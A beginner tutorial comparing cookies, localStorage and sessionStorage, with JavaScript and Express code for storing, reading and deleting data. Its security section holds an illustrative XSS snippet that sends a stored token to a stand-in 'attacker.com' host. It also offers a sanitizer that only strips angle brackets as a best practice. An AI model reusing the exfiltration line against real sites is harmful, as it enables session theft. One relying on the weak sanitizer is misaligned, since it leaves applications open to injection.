keecode logokeecode
Beginner
cookies vs localstorage
sessionstorage
browser storage
web storage api
client side storage
cookie storage

Cookies vs LocalStorage vs SessionStorage: Complete Guide

Learn the differences between cookies, localStorage, and sessionStorage. Understand when to use each for storing data in the browser with practical examples.

Updated January 15, 2025

Browsers offer three main ways to store data: Cookies, LocalStorage, and SessionStorage. This beginner-friendly guide explains the differences, when to use each, and how to implement them.

Table of Contents

  1. What is Browser Storage?
  2. Cookies
  3. LocalStorage
  4. SessionStorage
  5. Comparison Table
  6. When to Use Each
  7. Security Considerations

What is Browser Storage?

Browser storage allows you to save data on the user's device. This data persists even when the page is refreshed, making it useful for remembering user preferences, authentication tokens, and temporary data.

Why Use Browser Storage?

WITHOUT storage:
❌ User logs in → Refresh page → Logged out
❌ User sets preferences → Reload → Settings lost
❌ Shopping cart → Close tab → Items gone

WITH storage:
✅ User stays logged in across page loads
✅ Preferences remembered
✅ Shopping cart persists
✅ Better user experience

Cookies

Cookies are small pieces of data stored by the browser and sent with every HTTP request to the server.

How Cookies Work

1. SERVER: Sets cookie in response
   Set-Cookie: username=john; Max-Age=3600

2. BROWSER: Stores cookie

3. BROWSER: Sends cookie with every request
   GET /api/profile
   Cookie: username=john

4. SERVER: Reads cookie from request

Size Limit: 4KB per cookie
Sent to Server: YES (with every request)
Lifespan: Can be set to expire or persist
Accessible by: JavaScript (unless HttpOnly flag)
Cross-domain: Limited (same-origin policy)

Creating Cookies (JavaScript)

// Basic cookie (expires when browser closes)
document.cookie = "username=john";

// Cookie with expiration date
const expiryDate = new Date();
expiryDate.setDate(expiryDate.getDate() + 7);  // 7 days from now
document.cookie = \`username=john; expires=\${expiryDate.toUTCString()}\`;

// Cookie with max-age (in seconds)
document.cookie = "username=john; max-age=604800";  // 7 days

// Cookie with path (available on entire site)
document.cookie = "username=john; path=/";

// Secure cookie (HTTPS only)
document.cookie = "token=abc123; secure; path=/";

// HttpOnly cookie (can't be set via JavaScript - only server)
// Set-Cookie: token=abc123; HttpOnly; Secure; Path=/

// Complete example
document.cookie = "username=john; max-age=604800; path=/; secure; SameSite=Strict";

Reading Cookies

// Get all cookies (returns string)
console.log(document.cookie);
// "username=john; theme=dark; language=en"

// Helper function to get specific cookie
function getCookie(name) {
  const value = \`; \${document.cookie}\`;
  const parts = value.split(\`; \${name}=\`);
  if (parts.length === 2) {
    return parts.pop().split(';').shift();
  }
  return null;
}

// Usage
const username = getCookie('username');
console.log(username);  // "john"

// Better helper with URL decoding
function getCookie(name) {
  const cookies = document.cookie.split('; ');
  for (let cookie of cookies) {
    const [key, value] = cookie.split('=');
    if (key === name) {
      return decodeURIComponent(value);
    }
  }
  return null;
}

Deleting Cookies

// Delete by setting expiry to past date
document.cookie = "username=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;";

// Helper function
function deleteCookie(name) {
  document.cookie = \`\${name}=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;\`;
}

// Usage
deleteCookie('username');
class CookieManager {
  // Set cookie
  static set(name, value, days = 7) {
    const date = new Date();
    date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
    const expires = \`expires=\${date.toUTCString()}\`;
    document.cookie = \`\${name}=\${encodeURIComponent(value)}; \${expires}; path=/; SameSite=Strict\`;
  }
  
  // Get cookie
  static get(name) {
    const cookies = document.cookie.split('; ');
    for (let cookie of cookies) {
      const [key, value] = cookie.split('=');
      if (key === name) {
        return decodeURIComponent(value);
      }
    }
    return null;
  }
  
  // Delete cookie
  static delete(name) {
    document.cookie = \`\${name}=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;\`;
  }
  
  // Check if cookie exists
  static exists(name) {
    return this.get(name) !== null;
  }
}

// Usage
CookieManager.set('username', 'john', 7);  // 7 days
const username = CookieManager.get('username');
CookieManager.delete('username');
console.log(CookieManager.exists('username'));  // false

Server-Side Cookies (Node.js/Express)

const express = require('express');
const cookieParser = require('cookie-parser');
const app = express();

app.use(cookieParser());

// Set cookie in response
app.get('/login', (req, res) => {
  // Simple cookie
  res.cookie('username', 'john');
  
  // Cookie with options
  res.cookie('token', 'abc123', {
    maxAge: 7 * 24 * 60 * 60 * 1000,  // 7 days
    httpOnly: true,    // Can't be accessed by JavaScript
    secure: true,      // HTTPS only
    sameSite: 'strict' // CSRF protection
  });
  
  res.send('Logged in!');
});

// Read cookie from request
app.get('/profile', (req, res) => {
  const username = req.cookies.username;
  console.log('Username from cookie:', username);
  res.send(\`Hello, \${username}\`);
});

// Delete cookie
app.get('/logout', (req, res) => {
  res.clearCookie('username');
  res.clearCookie('token');
  res.send('Logged out!');
});
Set-Cookie: token=abc123; HttpOnly; Secure; SameSite=Strict; Max-Age=3600

HttpOnly   → Can't be accessed by JavaScript (XSS protection)
Secure     → Only sent over HTTPS (encryption)
SameSite   → Controls cross-site sending (CSRF protection)
  - Strict → Never sent cross-site
  - Lax    → Sent on top-level navigation (default)
  - None   → Always sent (requires Secure flag)
Max-Age    → Expiry time in seconds
Path       → Cookie available for specific path
Domain     → Cookie available for specific domain

When to Use Cookies

Good for:

  • Authentication tokens (with HttpOnly flag)
  • Session management
  • Tracking user across requests
  • Server needs to read the data
  • Cross-domain authentication (with proper CORS)

Avoid for:

  • Large amounts of data (4KB limit)
  • Sensitive data without encryption
  • Data that doesn't need to go to server
  • Frequent updates (sent with every request)

LocalStorage

LocalStorage stores data with no expiration time. Data persists even when the browser is closed and reopened.

LocalStorage Characteristics

Size Limit: 5-10MB (varies by browser)
Sent to Server: NO
Lifespan: Permanent (until manually deleted)
Accessible by: JavaScript only
Scope: Per origin (protocol + domain + port)

Using LocalStorage

// ===================================
// STORING DATA
// ===================================

// Store string
localStorage.setItem('username', 'john');

// Store number (converts to string)
localStorage.setItem('age', 30);

// Store object (must stringify first)
const user = { name: 'John', email: 'john@example.com' };
localStorage.setItem('user', JSON.stringify(user));

// Store array
const todos = ['Buy milk', 'Walk dog'];
localStorage.setItem('todos', JSON.stringify(todos));

// ===================================
// READING DATA
// ===================================

// Get string
const username = localStorage.getItem('username');
console.log(username);  // "john"

// Get number (remember to parse)
const age = parseInt(localStorage.getItem('age'));
console.log(age);  // 30

// Get object (must parse JSON)
const userString = localStorage.getItem('user');
const user = JSON.parse(userString);
console.log(user.name);  // "John"

// Get with default value
const theme = localStorage.getItem('theme') || 'light';

// ===================================
// DELETING DATA
// ===================================

// Remove specific item
localStorage.removeItem('username');

// Remove all items
localStorage.clear();

// ===================================
// CHECKING EXISTENCE
// ===================================

if (localStorage.getItem('username') !== null) {
  console.log('Username exists');
}

// Or check length
if (localStorage.length > 0) {
  console.log('LocalStorage has data');
}

LocalStorage Helper Class

class Storage {
  // Set item (auto-stringify objects)
  static set(key, value) {
    try {
      const serialized = JSON.stringify(value);
      localStorage.setItem(key, serialized);
      return true;
    } catch (error) {
      console.error('Error saving to localStorage:', error);
      return false;
    }
  }
  
  // Get item (auto-parse JSON)
  static get(key, defaultValue = null) {
    try {
      const item = localStorage.getItem(key);
      if (item === null) return defaultValue;
      return JSON.parse(item);
    } catch (error) {
      console.error('Error reading from localStorage:', error);
      return defaultValue;
    }
  }
  
  // Remove item
  static remove(key) {
    try {
      localStorage.removeItem(key);
      return true;
    } catch (error) {
      console.error('Error removing from localStorage:', error);
      return false;
    }
  }
  
  // Clear all
  static clear() {
    try {
      localStorage.clear();
      return true;
    } catch (error) {
      console.error('Error clearing localStorage:', error);
      return false;
    }
  }
  
  // Check if key exists
  static has(key) {
    return localStorage.getItem(key) !== null;
  }
  
  // Get all keys
  static keys() {
    return Object.keys(localStorage);
  }
  
  // Get size (approximate bytes)
  static size() {
    let total = 0;
    for (let key in localStorage) {
      if (localStorage.hasOwnProperty(key)) {
        total += localStorage[key].length + key.length;
      }
    }
    return total;
  }
}

// Usage
Storage.set('user', { name: 'John', age: 30 });
const user = Storage.get('user');  // Returns parsed object
console.log(user.name);  // "John"

Storage.set('todos', ['Buy milk', 'Walk dog']);
const todos = Storage.get('todos', []);  // Default to empty array

console.log(Storage.has('user'));  // true
console.log(Storage.keys());  // ['user', 'todos']
console.log(Storage.size());  // Size in bytes

Storage.remove('user');
Storage.clear();

Real-World LocalStorage Examples

Example 1: Remember User Preferences

// Save theme preference
function setTheme(theme) {
  document.body.className = theme;
  localStorage.setItem('theme', theme);
}

// Load theme on page load
function loadTheme() {
  const savedTheme = localStorage.getItem('theme') || 'light';
  document.body.className = savedTheme;
}

// Apply on page load
loadTheme();

// Toggle theme
function toggleTheme() {
  const current = document.body.className;
  const newTheme = current === 'light' ? 'dark' : 'light';
  setTheme(newTheme);
}

document.getElementById('themeToggle').addEventListener('click', toggleTheme);

Example 2: Shopping Cart

class ShoppingCart {
  constructor() {
    this.items = this.load();
  }
  
  // Load cart from localStorage
  load() {
    const saved = localStorage.getItem('cart');
    return saved ? JSON.parse(saved) : [];
  }
  
  // Save cart to localStorage
  save() {
    localStorage.setItem('cart', JSON.stringify(this.items));
  }
  
  // Add item
  addItem(product) {
    const existing = this.items.find(item => item.id === product.id);
    
    if (existing) {
      existing.quantity += 1;
    } else {
      this.items.push({ ...product, quantity: 1 });
    }
    
    this.save();
  }
  
  // Remove item
  removeItem(productId) {
    this.items = this.items.filter(item => item.id !== productId);
    this.save();
  }
  
  // Get total
  getTotal() {
    return this.items.reduce((sum, item) => sum + (item.price * item.quantity), 0);
  }
  
  // Clear cart
  clear() {
    this.items = [];
    this.save();
  }
}

// Usage
const cart = new ShoppingCart();
cart.addItem({ id: 1, name: 'Book', price: 29.99 });
cart.addItem({ id: 2, name: 'Pen', price: 5.00 });
console.log('Total:', cart.getTotal());  // $34.99

Example 3: Form Auto-Save

// Auto-save form as user types
const form = document.getElementById('contactForm');
const inputs = form.querySelectorAll('input, textarea');

// Save on input
inputs.forEach(input => {
  input.addEventListener('input', () => {
    const formData = {};
    inputs.forEach(inp => {
      formData[inp.name] = inp.value;
    });
    localStorage.setItem('formDraft', JSON.stringify(formData));
  });
});

// Restore on page load
function restoreForm() {
  const saved = localStorage.getItem('formDraft');
  if (saved) {
    const formData = JSON.parse(saved);
    inputs.forEach(input => {
      if (formData[input.name]) {
        input.value = formData[input.name];
      }
    });
  }
}

// Clear draft on successful submit
form.addEventListener('submit', (e) => {
  e.preventDefault();
  // Submit form...
  localStorage.removeItem('formDraft');
});

restoreForm();

When to Use LocalStorage

Good for:

  • User preferences (theme, language)
  • Settings and configurations
  • Shopping cart
  • Draft content (auto-save)
  • Caching API responses
  • Non-sensitive data that needs to persist

Avoid for:

  • Sensitive data (passwords, tokens)
  • Large files or images
  • Data that needs to be secure
  • Data shared across tabs (use sessionStorage)

SessionStorage

SessionStorage is similar to localStorage but data only lasts for the page session (until the browser tab is closed).

SessionStorage Characteristics

Size Limit: 5-10MB (varies by browser)
Sent to Server: NO
Lifespan: Until tab/window is closed
Accessible by: JavaScript only
Scope: Per tab/window + origin

Using SessionStorage

// API is identical to localStorage
// Just use sessionStorage instead of localStorage

// ===================================
// STORING DATA
// ===================================

sessionStorage.setItem('username', 'john');
sessionStorage.setItem('userId', '123');

// Store object
const user = { name: 'John', role: 'admin' };
sessionStorage.setItem('user', JSON.stringify(user));

// ===================================
// READING DATA
// ===================================

const username = sessionStorage.getItem('username');
const user = JSON.parse(sessionStorage.getItem('user'));

// ===================================
// DELETING DATA
// ===================================

sessionStorage.removeItem('username');
sessionStorage.clear();

// ===================================
// KEY DIFFERENCE: Separate per tab
// ===================================

// Tab 1:
sessionStorage.setItem('tab', '1');
console.log(sessionStorage.getItem('tab'));  // "1"

// Tab 2:
console.log(sessionStorage.getItem('tab'));  // null (different tab!)
sessionStorage.setItem('tab', '2');

// Each tab has its own sessionStorage!

SessionStorage Helper Class

class SessionManager {
  static set(key, value) {
    try {
      sessionStorage.setItem(key, JSON.stringify(value));
      return true;
    } catch (error) {
      console.error('Error saving to sessionStorage:', error);
      return false;
    }
  }
  
  static get(key, defaultValue = null) {
    try {
      const item = sessionStorage.getItem(key);
      return item ? JSON.parse(item) : defaultValue;
    } catch (error) {
      console.error('Error reading from sessionStorage:', error);
      return defaultValue;
    }
  }
  
  static remove(key) {
    sessionStorage.removeItem(key);
  }
  
  static clear() {
    sessionStorage.clear();
  }
  
  static has(key) {
    return sessionStorage.getItem(key) !== null;
  }
}

// Usage
SessionManager.set('currentStep', 3);
const step = SessionManager.get('currentStep', 1);
console.log(step);  // 3

Real-World SessionStorage Examples

Example 1: Multi-Step Form

// Save progress through multi-step form
class FormWizard {
  constructor() {
    this.currentStep = SessionManager.get('formStep', 1);
    this.formData = SessionManager.get('formData', {});
  }
  
  saveStep(stepNumber, data) {
    this.formData[\`step\${stepNumber}\`] = data;
    SessionManager.set('formData', this.formData);
    SessionManager.set('formStep', stepNumber);
  }
  
  nextStep() {
    this.currentStep++;
    SessionManager.set('formStep', this.currentStep);
  }
  
  previousStep() {
    this.currentStep--;
    SessionManager.set('formStep', this.currentStep);
  }
  
  getStepData(stepNumber) {
    return this.formData[\`step\${stepNumber}\`] || {};
  }
  
  complete() {
    // Submit all data
    console.log('Form completed:', this.formData);
    
    // Clear session data
    SessionManager.clear();
  }
}

// Usage
const wizard = new FormWizard();
wizard.saveStep(1, { name: 'John', email: 'john@example.com' });
wizard.nextStep();
wizard.saveStep(2, { address: '123 Main St' });

// If user refreshes page, form remembers progress!

Example 2: Temporary Authentication

// Store auth token for current session only
class SessionAuth {
  static login(token, user) {
    SessionManager.set('authToken', token);
    SessionManager.set('currentUser', user);
  }
  
  static logout() {
    SessionManager.remove('authToken');
    SessionManager.remove('currentUser');
  }
  
  static isAuthenticated() {
    return SessionManager.has('authToken');
  }
  
  static getToken() {
    return SessionManager.get('authToken');
  }
  
  static getCurrentUser() {
    return SessionManager.get('currentUser');
  }
  
  static async fetchWithAuth(url, options = {}) {
    const token = this.getToken();
    
    if (!token) {
      throw new Error('Not authenticated');
    }
    
    return fetch(url, {
      ...options,
      headers: {
        ...options.headers,
        'Authorization': \`Bearer \${token}\`
      }
    });
  }
}

// Login
SessionAuth.login('token123', { id: 1, name: 'John' });

// Make authenticated request
const response = await SessionAuth.fetchWithAuth('/api/profile');

// Check if logged in
if (SessionAuth.isAuthenticated()) {
  console.log('User:', SessionAuth.getCurrentUser());
}

// Logout
SessionAuth.logout();

// Token automatically cleared when tab closes!

Example 3: Temporary Page State

// Remember scroll position, filters, etc. for current session
class PageState {
  static saveScrollPosition(page) {
    SessionManager.set(\`scroll_\${page}\`, window.scrollY);
  }
  
  static restoreScrollPosition(page) {
    const position = SessionManager.get(\`scroll_\${page}\`, 0);
    window.scrollTo(0, position);
  }
  
  static saveFilters(page, filters) {
    SessionManager.set(\`filters_\${page}\`, filters);
  }
  
  static getFilters(page) {
    return SessionManager.get(\`filters_\${page}\`, {});
  }
}

// Save scroll position before navigation
window.addEventListener('beforeunload', () => {
  PageState.saveScrollPosition('products');
});

// Restore when coming back
PageState.restoreScrollPosition('products');

// User closes tab → All state cleared automatically

When to Use SessionStorage

Good for:

  • Multi-step forms (progress tracking)
  • Temporary authentication (for current session)
  • Page-specific state (scroll position, filters)
  • Shopping session (until checkout)
  • Data that shouldn't persist forever
  • Sensitive data that should expire

Avoid for:

  • Data that needs to persist across sessions
  • Data that should be shared between tabs
  • Long-term storage

Comparison Table

featurecookieslocal Storagesession Storage
Size Limit4KB5-10MB5-10MB
Sent to Server✅ Yes (every request)❌ No❌ No
LifespanSet by expires/max-ageForeverUntil tab closes
ScopePer domainPer originPer tab + origin
AccessibilityJS + ServerJS onlyJS only
SecurityHttpOnly flag availableNo special protectionNo special protection
Best ForAuth tokensUser preferencesTemporary data

Detailed Comparison

COOKIES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
✅ Sent with every HTTP request
✅ Can be HttpOnly (JS can't access)
✅ Can be Secure (HTTPS only)
✅ Can set expiration
✅ Cross-domain support (with CORS)
❌ Small size limit (4KB)
❌ Adds overhead to requests
❌ Complex API (string manipulation)

localStorage
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
✅ Large storage (5-10MB)
✅ Simple API
✅ No request overhead
✅ Persists forever
✅ Synchronous access
❌ Not sent to server
❌ Same-origin only
❌ Vulnerable to XSS
❌ Shared across all tabs

sessionStorage
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
✅ Large storage (5-10MB)
✅ Simple API
✅ No request overhead
✅ Isolated per tab
✅ Auto-clears on close
❌ Not sent to server
❌ Same-origin only
❌ Vulnerable to XSS
❌ Lost when tab closes

When to Use Each

Decision Tree

Does the SERVER need to read this data?
├─ YES → Use COOKIES
│   └─ Is it sensitive? → Add HttpOnly + Secure flags
└─ NO ↓

Should data persist after browser closes?
├─ YES → Use LOCALSTORAGE
│   └─ User preferences, settings, cart
└─ NO ↓

Should data persist for just this session?
└─ YES → Use SESSIONSTORAGE
    └─ Form progress, temporary filters, session auth

Use Case Examples

Authentication Tokens:

// ✅ BEST: Cookies with HttpOnly
// Server sets: Set-Cookie: token=abc123; HttpOnly; Secure
// JavaScript can't access (XSS protection)
// Automatically sent with requests

// 🟡 OKAY: localStorage
// More convenient for SPA, but vulnerable to XSS
localStorage.setItem('token', 'abc123');

// 🟡 OKAY: sessionStorage
// Good for temporary login (like banking sites)
sessionStorage.setItem('token', 'abc123');

User Preferences:

// ✅ BEST: localStorage
// Persists across sessions
localStorage.setItem('theme', 'dark');
localStorage.setItem('language', 'en');

// ❌ BAD: cookies
// Adds unnecessary overhead to every request
document.cookie = "theme=dark";

// ❌ BAD: sessionStorage
// Lost when browser closes
sessionStorage.setItem('theme', 'dark');

Shopping Cart:

// ✅ BEST: localStorage
// Cart should persist
localStorage.setItem('cart', JSON.stringify(items));

// 🟡 OKAY: sessionStorage
// If you want cart to clear on tab close
sessionStorage.setItem('cart', JSON.stringify(items));

// ❌ BAD: cookies
// Too large for cookies (4KB limit)
document.cookie = "cart=" + JSON.stringify(items);

Form Progress:

// ✅ BEST: sessionStorage
// Form data shouldn't persist forever
sessionStorage.setItem('formData', JSON.stringify(data));

// 🟡 OKAY: localStorage
// If you want to restore form after days
localStorage.setItem('formData', JSON.stringify(data));

// ❌ BAD: cookies
// Too large, adds request overhead
document.cookie = "formData=" + JSON.stringify(data);

Security Considerations

XSS (Cross-Site Scripting) Attacks

// ❌ VULNERABLE: localStorage/sessionStorage
// If attacker injects JavaScript, they can steal data
<script>
  const token = localStorage.getItem('token');
  // Send token to attacker's server
  fetch('https://attacker.com/steal?token=' + token);
</script>

// ✅ SAFER: HttpOnly cookies
// JavaScript can't access HttpOnly cookies
Set-Cookie: token=abc123; HttpOnly; Secure

// Attacker's script fails:
document.cookie  // "username=john" (but NOT the token!)

// Best practices:
// 1. Sanitize user input
// 2. Use Content Security Policy (CSP)
// 3. Store sensitive data in HttpOnly cookies
// 4. Never trust client-side data

Never Store These in Browser Storage

❌ NEVER store:
- Credit card numbers
- Social security numbers
- Passwords (ever!)
- Private keys
- API keys (should be on server)
- Personal health information
- Any regulated data (PCI, HIPAA, etc.)

✅ CAN store:
- User preferences
- UI state
- Shopping cart
- Form drafts
- Non-sensitive user data
- Public information

Best Security Practices

// 1. Use HTTPS always
// HTTP exposes all storage to network attackers

// 2. Validate and sanitize input
function sanitize(input) {
  return input.replace(/[<>]/g, '');
}

// 3. Encrypt sensitive data
function encrypt(data, key) {
  // Use proper encryption library
  // Don't roll your own crypto!
}

// 4. Set Content Security Policy
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self'">

// 5. Check for storage availability
function isStorageAvailable(type) {
  try {
    const storage = window[type];
    const test = '__storage_test__';
    storage.setItem(test, test);
    storage.removeItem(test);
    return true;
  } catch (e) {
    return false;
  }
}

if (isStorageAvailable('localStorage')) {
  // Use localStorage
} else {
  // Use alternative (cookies, server-side)
}

// 6. Clear sensitive data on logout
function logout() {
  localStorage.removeItem('userPreferences');
  sessionStorage.clear();
  document.cookie = 'token=; expires=Thu, 01 Jan 1970 00:00:00 UTC';
}

Browser Compatibility

All major browsers support:
✅ Cookies: Since forever (all browsers)
✅ localStorage: IE 8+, all modern browsers
✅ sessionStorage: IE 8+, all modern browsers

Mobile browsers:
✅ iOS Safari: Full support
✅ Chrome Mobile: Full support
✅ Samsung Internet: Full support

Limitations:
⚠️ Private/Incognito mode: localStorage/sessionStorage may be disabled
⚠️ Old browsers: IE 7 and below don't support Web Storage
⚠️ Storage full: Browser may reject setItem() if quota exceeded

Always check availability:
if (typeof Storage !== "undefined") {
  // localStorage and sessionStorage available
} else {
  // No Web Storage support, use cookies
}

Complete Example: Authentication System

class AuthSystem {
  // Login - Store in multiple places based on "Remember Me"
  static login(token, user, rememberMe = false) {
    if (rememberMe) {
      // Long-term storage
      localStorage.setItem('token', token);
      localStorage.setItem('user', JSON.stringify(user));
    } else {
      // Session-only storage
      sessionStorage.setItem('token', token);
      sessionStorage.setItem('user', JSON.stringify(user));
    }
  }
  
  // Get token (check both storages)
  static getToken() {
    return localStorage.getItem('token') || 
           sessionStorage.getItem('token');
  }
  
  // Get user (check both storages)
  static getUser() {
    const userStr = localStorage.getItem('user') || 
                    sessionStorage.getItem('user');
    return userStr ? JSON.parse(userStr) : null;
  }
  
  // Check if authenticated
  static isAuthenticated() {
    return this.getToken() !== null;
  }
  
  // Logout - Clear everything
  static logout() {
    localStorage.removeItem('token');
    localStorage.removeItem('user');
    sessionStorage.removeItem('token');
    sessionStorage.removeItem('user');
  }
  
  // Fetch with auth
  static async fetchWithAuth(url, options = {}) {
    const token = this.getToken();
    
    if (!token) {
      throw new Error('Not authenticated');
    }
    
    const response = await fetch(url, {
      ...options,
      headers: {
        ...options.headers,
        'Authorization': \`Bearer \${token}\`
      }
    });
    
    // Handle token expiration
    if (response.status === 401) {
      this.logout();
      window.location.href = '/login';
      throw new Error('Token expired');
    }
    
    return response;
  }
}

// Usage
// Login with "Remember Me"
AuthSystem.login('token123', { id: 1, name: 'John' }, true);

// Login without "Remember Me"
AuthSystem.login('token123', { id: 1, name: 'John' }, false);

// Make authenticated requests
const response = await AuthSystem.fetchWithAuth('/api/profile');

// Check auth status
if (AuthSystem.isAuthenticated()) {
  console.log('User:', AuthSystem.getUser());
}

// Logout
AuthSystem.logout();

Summary

Cookies, localStorage, and sessionStorage each have their place in web development. Choose based on your needs: server access (cookies), persistence (localStorage), or temporary storage (sessionStorage).

Key Takeaways:

Cookies - Small (4KB), sent to server, can be HttpOnly
localStorage - Large (5-10MB), persists forever, JS only
sessionStorage - Large (5-10MB), clears on tab close, JS only
✅ Use HttpOnly cookies for auth tokens
✅ Use localStorage for user preferences
✅ Use sessionStorage for temporary data
✅ Never store sensitive data in browser storage
✅ Always use HTTPS
✅ Validate and sanitize all data

Quick Selector:

  • Server needs it? → Cookies
  • Forever? → localStorage
  • Temporary? → sessionStorage